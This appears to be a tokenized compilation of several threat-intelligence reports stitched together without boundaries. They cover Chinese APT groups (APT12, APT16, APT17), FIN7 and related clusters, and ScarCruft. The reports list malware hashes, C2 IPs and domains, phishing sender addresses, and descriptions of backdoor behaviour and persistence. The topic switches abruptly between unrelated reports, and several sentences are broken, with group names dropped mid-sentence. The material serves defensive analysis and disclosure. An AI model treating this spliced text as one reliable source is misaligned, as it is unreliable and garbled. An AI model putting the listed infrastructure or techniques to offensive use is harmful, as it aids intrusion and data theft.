While APT12 has previously used THREEBYTE , it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE .
Similarly , WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified .
However , the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12 .
From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE , a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control ( C2 ) server .
RIPTIDE ’s first communication with its C2 server fetches an encryption key , and the RC4 encryption key is used to encrypt all further communication .
In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth .
The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014 .
Following the release of the article , FireEye observed a distinct change in RIPTIDE ’s protocols and strings .
We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors .
The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules .
FireEye dubbed this new malware family HIGHTIDE .
On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry .
Attached to this email was a malicious Microsoft Word document ( MD5: f6fafb7c30b1114befc93f39d0698560 ) that exploited CVE-2012-0158 .
It is worth noting that this email appeared to have been sent from another Taiwanese Government employee , implying that the email was sent from a valid but compromised account .
HIGHTIDE : 6e59861931fa2796ee107dc27bfdd480 .
The HIGHTIDE backdoor connected directly to 141.108.2.157 .
If you compare the HTTP GET request from the RIPTIDE samples to the HTTP GET request from the HIGHTIDE samples you can see the malware author changed the following items : User Agent , Format and structure of the HTTP Uniform Resource Identifier ( URI ) .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases .
Based on past APT12 activity , we expect the threat group to continue to utilize phishing as a malware delivery method .
0824.1.doc : f6fafb7c30b1114befc93f39d0698560 , CVE-2012-0158 .
Jason_invitation.doc : 00a95fb30be2d6271c491545f6c6a707 , CVE-2012-0158 .
When the file is opened , it drops HIGHTIDE in the form of an executable file onto the infected system .
RIPTIDE and HIGHTIDE differ on several points : executable file location , image base address , the User-Agent within the GET requests , and the format of the URI .
The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\ folder .
All but one sample that we identified were written to this folder as word.exe .
The one outlier was written as winword.exe .
Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28 .
On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan .
This spear phish contained a malicious Word document that exploited CVE-2012-0158 .
The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11 .
Similar to the newly discovered HIGHTIDE samples documented above , this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe .
THREEBYTE : 16e627dbe730488b1c3d448bfc9096e2 .
This backdoor sent the following callback traffic to video.csmcpr.com .
The THREEBYTE spear phishing incident ( while not yet attributed ) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12 : The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors ;Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan ;Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe ;APT12 has previously used the THREEBYTE backdoor .
On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan .
Attached to this email was another malicious document that was designed to exploit CVE-2012-0158 .
This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe .
The backdoor had the following properties :The backdoor connects to a command and control server at icc.ignorelist.com .
Similar to RIPTIDE and HIGHTIDE , the WATERSPOUT backdoor is an HTTP based backdoor that communicates with its C2 server .
Although there are no current infrastructure ties to link this backdoor to APT12 , there are several data points that show a possible tie to the same actors :Same initial delivery method ( spear phishing email ) with a Microsoft Word Document exploiting CVE-2012-0158 .
The same “ Tran Duy Linh ” Microsoft Word Exploit Kit was used in delivery of this backdoor .
Similar Targets were observed where the threat actors utilized this backdoor : Japanese Tech Company , Taiwanese Government Organizations , Organizations in the Asia-Pacific Region that are of Interest to China .
The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors : C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe , C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe .
WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor .
APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed .
APT12 has the ability to adapt quickly to public exposures with new tools , tactics , and procedures ( TTPs ) .
Public disclosures may result in an immediate change in APT12 ’s tools .
These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented ( e.g. , WATERSPOUT ) .
Although these points do not definitively tie WATERSPOUT to APT12 , they do indicate a possible connection between the WATERSPOUT campaign , the THREEBYTE campaign , and the HIGHTIDE campaign attributed to APT12 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
These development efforts may have resulted in the emergence of the WATERSPOUT backdoor .
Though public disclosures resulted in APT12 adaptations , FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels .
Similarly , the public disclosure of APT12 ’s intrusion at the New York Times also led to only a brief pause in the threat group ’s activity and immediate changes in TTPs .
The pause and retooling by APT12 was covered in the Mandiant 2014 M-Trends report .
Currently , APT12 continues to target organizations and conduct cyber operations using its new tools .
Most recently , FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company .
The attackers behind the breach of the New York Times ’ computer network late last year appear to be mounting fresh assaults that leverage new and improved versions of malware .
The new campaigns mark the first significant stirrings from the group since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
The newest campaign uses updated versions of Aumlib and Ixeshe .
Aumlib , which for years has been used in targeted attacks , now encodes certain HTTP communications .
FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy .
And a new version of Ixeshe , which has been in service since 2009 to attack targets in East Asia , uses new network traffic patterns , possibly to evade traditional network security systems .
The updates are significant for both of the longstanding malware families ; before this year , Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011 .
Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network defenses .
But , larger , more successful threat actors tend to evolve at a slower rate .
As long as these actors regularly achieve their objective ( stealing sensitive data ) , they are not motivated to update or rethink their techniques , tactics , or procedures ( TTPs ) .
These threat actors ’ tactics follow the same principles of evolution – successful techniques propagate , and unsuccessful ones are abandoned .
Attackers do not change their approach unless an external force or environmental shift compels them to .
As the old saying goes : If it ain’t broke , don’t fix it .
So when a larger , successful threat actor changes up tactics , the move always piques our attention .
Naturally , our first priority is ensuring that we detect the new or altered TTPs .
But we also attempt to figure out why the adversary changed — what broke? — so that we can predict if and when they will change again in the future .
We observed an example of this phenomenon around May .
About four months after The New York Times publicized an attack on its network , the attackers behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011 .
We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of the episode .
But we do know the change was sudden .
Akin to turning a battleship , retooling TTPs of large threat actors is formidable .
Such a move requires recoding malware , updating infrastructure , and possibly retraining workers on new processes .
The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe .
A recently observed malware sample ( hash value 832f5e01be536da71d5b3f7e41938cfb ) appears to be a modified variant of Aumlib .
The sample , which was deployed against an organization involved in shaping economic policy , was downloaded from the following URL :status.acmetoy.com /DD/ myScript.js or status.acmetoy.com /DD/ css.css .
This output reveals the following changes when compared with earlier variants :The POST URI is changed to /bbs/ search.asp ( as mentioned , earlier Aumlib variants used a POST URI of /bbs/ info.asp .
) The POST body is now encoded .
These subtle changes may be enough to circumvent existing IDS signatures designed to detect older variants of the Aumlib family .
The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash cb3dcde34fd9ff0e19381d99b02f9692 .
The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to documents.myPicture.info and www.documents.myPicture.info and as expected generated the a POST request to /bbs/ info.asp .
Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia .
The network traffic is encoded with a custom Base64 alphabet .
We analyzed a recent sample that appears to have targeted entities in Taiwan , a target consistent with previous Ixeshe activity .
This sample ( aa873ed803ca800ce92a39d9a683c644 ) exhibited network traffic that does not match the earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe related infections .
Between November 26, 2015, and December 1, 2015, known and suspected China based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability , and the local Windows privilege escalation vulnerability CVE-2015-1701 .
The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO , or a backdoor that we refer to as ELMER .
On November 26, 2015, a suspected China based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
As shown in Figure 1, the emails originated from the Yahoo ! email address mts03282000@yahoo.co.jp , and contained the subject “ Sending of New YearForeword ” .
Each phishing message contained the same malicious Microsoft Word attachment .
The malicious attachment resembled an article hosted on a legitimate Japanese defense-related website , as both discussed national defense topics and carried the same byline .
The lure documents also used the Japanese calendar , as indicated by the 27th year in the Heisei period .
This demonstrates that the threat actors understand conventional Japanese date notation .
Following the exploitation of the EPS and CVE-2015-1701 vulnerabilities , the exploit payload drops either a 32-bit or 64-bit binary containing an embedded IRONHALO malware sample .
IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control ( C2 ) server and uniform resource locator ( URL ) path .
The encoded payload is written to a temporary file , decoded and executed in a hidden window .
The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively , where [%rand%] is a 4-byte hexadecimal number based on the current timestamp .
IRONHALO : AcroRd32Info.exe.exe a8ccb2fc5fec1b89f778d93096f8dd65 .
IRONHALO persists by copying itself to the current user ’s Startup folder .
This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string , as shown in Figure 2 .
The threat actors likely compromised the legitimate site and attempted to use it as a staging server for second-stage payloads .
On December 1, 2015, threat actors launched two additional spear phishing attacks exploiting the undisclosed EPS vulnerability and CVE-2015-1701 .
Unlike the Nov. 26 campaign , these attacks targeted Taiwanese governmental and media and entertainment organizations .
Moreover , the exploit dropped a different malware payload , a backdoor we refer to as ELMER .
The first spear phishing message was sent to a Taiwanese governmental employee on Dec. 1 .
The attachment was created using the traditional Chinese character set , and contained a flowchart that appeared to be taken from the legitimate Taiwanese government auction website http://shwoo.gov.taipei/buyer_flowchart.asp .
The second December spear phishing attack targeted Taiwan based news media organizations .
The emails originated from the address dpptccb.dpp@msa.hinet.net , and contained the subject DPP's Contact Information Update .
Based on the email address naming convention and message subject , the threat actors may have tried to make the message appear to be a legitimate communication from the Democratic Progressive Party ( DPP ) , Taiwan ’s opposition party .
Unlike the previous exploit documents , this malicious attachment did not contain any visible text when opened in Microsoft Word .
The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER .
ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi , and is capable of performing file uploads and downloads , file execution , and process and directory listings .
To retrieve commands , ELMER sends HTTP GET requests to a hard-coded C2 server , and parses the HTTP response packets received from the C2 server for an integer string corresponding to the command that needs to be executed .
Table 2 lists the ELMER backdoors observed during the December campaigns .
The ELMER variant 6c33223db475f072119fe51a2437a542 beaconed to the C2 IP address 121.127.249.74 over port 443 .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China based APT group that we refer to as APT16 .
This is based on the use of the known APT16 domain rinpocheinfo.com , as well as overlaps in previously observed targeting and tactics , techniques and procedures ( TTPs ) .
Taiwanese citizens will go to the polls on January 16 , 2016 , to choose a new President and legislators .
According to recent opinion polls , the Democratic Progressive Party ( DPP ) candidate Tsai Ing-wen is leading her opponents and is widely expected to win the election .
The DPP is part of the pan-green coalition that favors Taiwanese independence over reunification with the mainland , and the party ’s victory would represent a shift away from the ruling Kuomintang ’s closer ties with the PRC .
Since 1949 , Beijing has claimed Taiwan as a part of China and strongly opposes any action toward independence .
The Chinese government is therefore concerned whether a DPP victory might weaken the commercial and tourism ties between China and Taiwan , or even drive Taiwan closer to independence .
In 2005 , the Chinese government passed an “ anti-secession ” law that signified its intention to use “ non-peaceful ” means to stymie any Taiwanese attempt to secede from China .
APT16 actors sent spear phishing emails to two Taiwanese media organization addresses and three webmail addresses .
The message subject read “ DPP ’s Contact Information Update ” , apparently targeting those interested in contact information for DPP members or politicians .
The Chinese government would benefit from improved insight into local media coverage of Taiwanese politics , both to better anticipate the election outcome and to gather additional intelligence on politicians , activists , and others who interact with journalists .
This tactic is not without precedent ; in 2013 , the New York Times revealed it had been the target of China based actors shortly after it reported on the alleged mass accumulation of wealth by then-Prime Minister Wen Jiabao and his family .
The actors likely sought information on the newspaper ’s sources in China , who could be silenced by the government .
Compromising these Taiwanese news organizations would also allow the actors to gain access to informants or other protected sources , who might then be targeted for further intelligence collection or even retribution .
The webmail addresses , while unknown , were possibly the personal-use addresses of the individuals whose corporate domain emails were targeted .
As corporate networks become more secure and users become more vigilant , personal accounts can still offer a means to bypass security systems .
This tactic exploits users ’ reduced vigilance when reading their own personal email , even when using corporate IT equipment to do so .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
One of the media organizations involved in this latest activity was targeted in June 2015 , while its Hong Kong branch was similarly targeted in August 2015 .
APT16 actors were likely also responsible for the June 2015 activity .
They sent spear phishing messages with the subject “ 2015 Taiwan Security and Cultural Forum Invitation Form ” , and used a different tool – a tool that we refer to as DOORJAMB – in their attempt to compromise the organization .
A different group , known as admin@338 , used LOWBALL malware during its Hong Kong activity .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan based media organizations continues to be a priority for China based threat groups .
The difference in sponsorship could be the result of tasking systems that allocate targeting responsibility to different groups based on their targets ’ geographic location .
In other words , while media organizations are important targets , it is possible that two separate groups are responsible for Hong Kong and Taiwan , respectively .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
IRONHALO : CVE-2015-1701 .
ELMER : CVE-2015-1701 .
These clusters of activity raise interesting questions about the use of an identical silently-patched vulnerability , possibly by multiple threat groups .
Both Japan and Taiwan are important intelligence collection targets for China , particularly because of recent changes to Japan ’s pacifist constitution and the upcoming Taiwanese election .
Based on our visibility and available data , we only attribute one campaign to the Chinese APT group APT16 .
FireEye Threat Intelligence and the Microsoft Threat Intelligence Center investigated a command-and-control ( C2 ) obfuscation tactic used on Microsoft ’s TechNet , a web portal for IT professionals .
TechNet ’s security was in no way compromised by this tactic , which is likely possible on other message boards and forums .
FireEye Threat Intelligence assesses that APT17 , a China based threat group , was behind the attempt .
Other groups have used legitimate websites to host C2 IP address in the past .
APT17 was embedding the encoded C2 IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a “ dead drop resolver. ” Encoding the IP address makes it more difficult to identify the true C2 address for network security professionals .
Few security companies have publicly discussed this tactic .
After discovering the BLACKCOFFEE activity , the FireEye-Microsoft team encoded a sinkhole IP address into the profile pages and forum threads and locked the accounts to prevent the threat actors from making any changes .
This collaborative approach allowed the team to observe the malware and its victims .
Though the security community has not yet broadly discussed this technique , FireEye has observed other threat groups adopting these measures and expect this trend to continue on other community sites .
Today , FireEye released Indicators of Compromise ( IOCs ) for BLACKCOFFEE and Microsoft released signatures for its anti-malware products .
APT17 , also known as DeputyDog , is a Chinabased threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
BLACKCOFFEE ’s functionality includes uploading and downloading files ; creating a reverse shell ; enumerating files and processes ; renaming , moving , and deleting files ; terminating processes ; and expanding its functionality by adding new backdoor commands .
FireEye has monitored APT17 ’s use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the C2 communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates threat actors ’ evolving use of public websites to hide in plain sight .
In the past , threat actors would modify easily compromised websites to host C2 commands and configuration , as observed in the China based APT1 ’s WEBC2 suite of backdoors .
Now , threat actors are using well-known websites—that they do not need to compromise to host C2 IP addresses .
They simply use the website for legitimate purposes , such as posting forum threads or creating profile pages .
APT17 went further to obfuscate their C2 IP address and employed a multi-layered approach for the malware to finally beacon the true C2 IP .
They used legitimate infrastructure—the ability to post or create comments on forums and profile pages—to embed a string that the malware would decode to find and communicate with the true C2 IP address .
This additional obfuscation puts yet another layer between APT17 and the security professionals attempting to chase them down .
This BLACKCOFFEE variant contains one or more URLs that link to the biography sections of attacker-created profiles as well as forum threads that contain comments from those same profiles .
A URL is randomly selected and the malware searches at that location for an encoded IP address located between two tags , “ @MICR0S0FT ” and “ C0RP0RATI0N ” .
The malware then communicates directly with the retrieved and decoded IP address to receive commands and send stolen information .
If the C2 server is discovered or shut down , the threat actors can update the encoded IP address on TechNet to maintain control of the victims ’ machines .
BLACKCOFFEE supports an initial set of fifteen commands , including creating a reverse shell , uploading and downloading files , and enumerating files and processes .
The attackers can also extend BLACKCOFFEE ’s functionality through additional commands sent as shellcode .
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FIN7.5 : the infamous cybercrime rig FIN7 continues its activities .
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FIN7.5 : the infamous cybercrime rig FIN7 continues its activities .
On August 1, 2018 , the US Department of Justice announced that it had arrested several individuals suspected of having ties to the FIN7 cybercrime rig .
FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
Interestingly , this threat actor created fake companies in order to hire remote pentesters , developers and interpreters to participate in their malicious business .
The main goal behind its malicious activities was to steal financial assets from companies , such as debit cards , or get access to financial data or computers of finance department employees in order to conduct wire transfers to offshore accounts .
In 2018-2019 , researchers of Kaspersky Lab ’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures ( TTPs ) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
Kaspersky Lab has been able to retrieve some of these exchanges from a FIN7 target .
The spear phishing campaigns were remarkably sophisticated from a social engineering perspective .
In various cases , the operators exchanged numerous messages with their victims for weeks before sending their malicious documents .
The emails were efficient social-engineering attempts that appealed to a vast number of human emotions ( fear , stress , anger , etc. ) to elicit a response from their victims .
One of the domains used by the attackers in their 2018 campaign of spear phishing contained more than 130 email aliases , leading us to think that more than 130 companies had been targeted by the end of 2018 .
We have seen two types of documents sent to victims in these spear phishing campaigns .
The first one exploits the INCLUDEPICTURE feature of Microsoft Word to get context information about the victim’s computer , and the availability and version number of Microsoft Word .
The second one , which in many cases is an Office document protected with a trivial password , such as “ 12345 ” , “ 1234 ” , etc. , uses macros to execute a GRIFFON implant on the target’s computer .
In various cases , the associated macro also scheduled tasks to make GRIFFON persistent .
Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
The new builder inserts random values in the Author and Company metadata fields .
Moreover , the builder allows these to modify different IOCs , such as the filenames of wscript.exe or sctasks.exe copies , etc .
The GRIFFON implant is a lightweight JScript validator-style implant without any persistence mechanism .
The malware is designed for receiving modules to be executed in-memory and sending the results to C2s .
We were able to obtain four different modules during the investigation .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
This module mainly relies on WMI and Windows objects to deliver results , which will be sent back to the operators .
Interestingly , more than 20 artifacts are retrieved from the system by this implant during the reconnaissance stage , from the date and time of operating system installation and membership in a Windows domain to a list of and the resolutions of the workstation’s monitors .
The second module is used by the operators to execute an obfuscated PowerShell script , which contains a Meterpreter downloader widely known as “ Tinymet “ .
This downloader , seen in past FIN7 campaigns , downloads a one-byte XOR encrypted ( eg. with the key equal to 0x50 or 0x51 ) piece of meterpreter shellcode to execute .
The third module allows the operators to take a screenshot of the remote system .
To do that , it also drops a PowerShell script on the workstation to execute .
The script executes an open-source .NET class used for taking a screenshot .
The resulting screenshot is saved at “ %TMP%/image.png ” , sent back to the attackers by the GRIFFON implant and then deleted .
The last retrieved module is a persistence module .
If the victim appears valuable to the attackers , a GRIFFON implant installer is pushed to the victim’s workstation .
This module stores another instance of the GRIFFON implant inside the registry to achieve persistence .
Here is a PowerLinks style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon .
The new GRIFFON implant is written to the hard drive before each execution , limiting the “ file-less ” aspect of this method .
Through its light weight and modular architecture , the GRIFFON implant is the perfect validator .
Even though we have been able to retrieve four different modules , it is possible that the FIN7 operators have more modules in their toolsets for achieving their objectives on the victim’s workstation .
Attackers make mistakes , and FIN7 are no exception .
The major error made by its operators allowed us to follow the command and control server of the GRIFFON implant last year .
In order to trick blue teams and other DFIR analysts , the operators created fake HTTP 302 redirection to various Google services on their C2s servers .
This error allowed us to follow the infrastructure week by week , until an individual pushed on Twitter the heuristic to track their C2 at the end of December 2018 .
A few days after the tweet , in January 2019 , the operators changed their landing page in order to prevent this type of tracking against their infrastructure .
During the investigation related to the GRIFFON infrastructure , we found a strange overlap between the WHOIS record of an old GRIFFON C2 and the website of a fake company .
According to the website , that domain supposedly belongs to a legitimate security company “ fully owned by the Russian Government ” ( sic .
) and having offices in “ Moscow , Saint Petersburg and Yekaterinburg ” , but the address says the company is located in Trump Tower , in New York .
Given FIN7 ’s previous use of false security companies , we decided to look deeper into this one .
As we were looking at the content of the website , it became evident that almost all of the text used was lifted from legitimate security-company websites .
Phrases and sentences were borrowed from at least the following companies/sites : DKSec – www.dksec.com , OKIOK – www.okiok.com/services/tailored-solutions , MainNerve – www.mainnerve.com , Datics – www.datatics.com/cyber-security , Perspective Risk – www.perspectiverisk.com , Synack – https://www.synack.com/company , FireEye – https://www.fireeye.com/services/penetration-testing.html .
This company seems to have been used by the FIN7 threat actor to hire new people as translators , developers and pentesters .
During our research , we found various job advertisements associated with the company on freelance and remote-work websites .
While tracking numerous threat actors on a daily basis during the final days of 2018 and at the beginning of 2019 , we discovered various activity clusters sharing certain TTPs associated with the FIN7 intrusion set .
The link between these threat actors and FIN7 is still weak , but we decided to disclose a few hints regarding these in this blog post .
In his history , FIN7 has overlapped several times within terms of TTPs .
This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
After a successful penetration , it uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
FIN7 ’s last campaigns were targeting banks in Europe and Central America .
This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
A few interesting overlaps in recent FIN7 campaigns : Both used macros to copy wscript.exe to another file , which began with “ ms ” ( mses.exe – FIN7 , msutil.exe – EmpireMonkey ) .
Both executed a JScript file named “ error ” in %TEMP% ( Errors.txt in the case of FIN7 , Errors.bat for EmpireMonkey ) .
Both used DocuSign decoy documents with different macros .
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The macros popped the same “ Document decryption error ” error message—even if macro code remain totally different .
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The macros popped the same “ Document decryption error ” error message—even if macro code remain totally different .
We have a high level of confidence in a historic association between FIN7 and Cobalt , even though we believe that these two clusters of activity are operated by different teams .
AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
We have medium confidence that this botnet falls under the FIN7 umbrella .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software : browsers , email clients , messengers , etc. , and can act as a keylogger .
Since the beginning of 2019 , we have collected more than 1300 samples and extracted more than 130 C2s .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments : MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
They also use AutoIT droppers , password-protected EXE files and even ISO images .
What is interesting , in some emails , they ask targets to phone them if they have any questions , like the FIN7 guys do .
During the investigation into FIN7 , our threat-hunting systems found an interesting overlap in between the infrastructure of FIN7 and AveMaria .
Basically , two servers in the same IP range and AS14576 ( autonomous system ) share a non-standard SSH port , which is 222 .
One of the servers is a Griffon C2, and the other one , an AveMaria C2 .
Distribution of targets is another factor suggesting that these two malware families may be connected .
We analyzed AveMaria targets during February and March of 2019 .
The spearphishing emails were sent to various kinds of businesses only and did not target individuals .
Thirty percent of the targets were small and medium-sized companies that were suppliers or service providers for bigger players and 21% were various types of manufacturing companies .
We also spotted several typical FIN7 targets , such as retailers and hotels .
Most AveMaria targets ( 72% ) were in the EU .
At the end of 2018 , while searching for new FIN7 campaigns via telemetry , we discovered a set of activity that we temporarily called “ CopyPaste ” from a previously unknown APT .
Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
This set of activity relied on open-source tools , such as Powershell Empire , and well-documented red teaming techniques , in order to get a foothold within the victim’s networks and avoid detection .
The links between CopyPaste and FIN7 are still very weak .
It is possible that the CopyPaste operators were influenced by open-source publications and do not have any ties with FIN7 .
During 2018 , Europol and DoJ announced the arrest of the leader of the FIN7 andcybercrime groups .
It was believed that the arrest of the group leader will have an impact on the group’s operations .
However , recent data seems to indicate that the attacks have continued without significant drawbacks .
One may say CobaltGoblin and FIN7 have even extended the number of groups operating under their umbrella .
We observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
They rely on a Griffon JS backdoor and, and in recent attacks , Powershell Empire .
The second one is, which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
We link the AveMaria botnet to these two groups with medium confidence : AveMaria ’s targets are mostly suppliers for big companies , and the way AveMaria manages its infrastructure is very similar to FIN7 .
The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
The links between CopyPaste and FIN7 are still very weak .
It is possible that the operators of this cluster of activity were influenced by open-source publications and do not have any ties with FIN7 .
All of the aforementioned groups greatly benefit from unpatched systems in corporate environments .
They thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
So far , the groups have not used any zero-days .
phishing documents may seem basic , but when combined with their extensive social engineering and focused targeting , they are quite successful .
As with their previous fake company “ Combi Security ” , we are confident that they continue to create new personas for use in either targeting or recruiting under a “ new ” brand , “ IPC ” .
AveMaria : 185.61.138.249 tain.warzonedns.com noreply377.ddns.net 185.162.131.97 91.192.100.62 server.mtcc.me doddyfire.dyndns.org 212.8.240.116 168.167.45.162 toekie.ddns.net warmaha.warzonedns.com .
CopyPaste : digi-cert.org somtelnetworks.com geotrusts.com secureclientupdate.com digicertweb.com sport-pesa.org itaxkenya.com businessdailyafrica.net infotrak-research.com nairobiwired.com k-24tv.com .
: hpservice-cdn.com realtek-cdn.com logitech-cdn.com pci-cdn.com appleservice-cdn.com servicebing-cdn.com .
ScarCruft continues to evolve, introduces Bluetooth harvester .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
We recently discovered some interesting telemetry on this actor , and decided to dig deeper into ScarCruft ’s recent activity .
This shows that the actor is still very active and constantly trying to elaborate its attack tools .
Based on our telemetry , we can reassemble ScarCruft ’s binary infection procedure .
It used a multi-stage binary infection to update each module effectively and evade detection .
In addition , we analyzed the victims of this campaign and spotted an interesting overlap of this campaign with another APT actor known as DarkHotel .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
As in Operation Daybreak , this actor performs sophisticated attacks using a zero-day exploit .
However , sometimes using public exploit code is quicker and more effective for malware authors .
We witnessed this actor extensively testing a known public exploit during its preparation for the next campaign .
In order to deploy an implant for the final payload , ScarCruft uses a multi-stage binary infection scheme .
As a rule , the initial dropper is created by the infection procedure .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
In order to evade network level detection , the downloader uses steganography .
The downloaded payload is an image file , but it contains an appended malicious payload to be decrypted .
The final payload created by the aforementioned process is a well known backdoor , also known as ROKRAT by Cisco Talos .
This cloud service-based backdoor contains many features .
One of its main functions is to steal information .
Upon execution , this malware creates 10 random directory paths and uses them for a specially designated purpose .
The malware creates 11 threads simultaneously : six threads are responsible for stealing information from the infected host , and five threads are for forwarding collected data to four cloud services ( Box , Dropbox , Pcloud and Yandex ) .
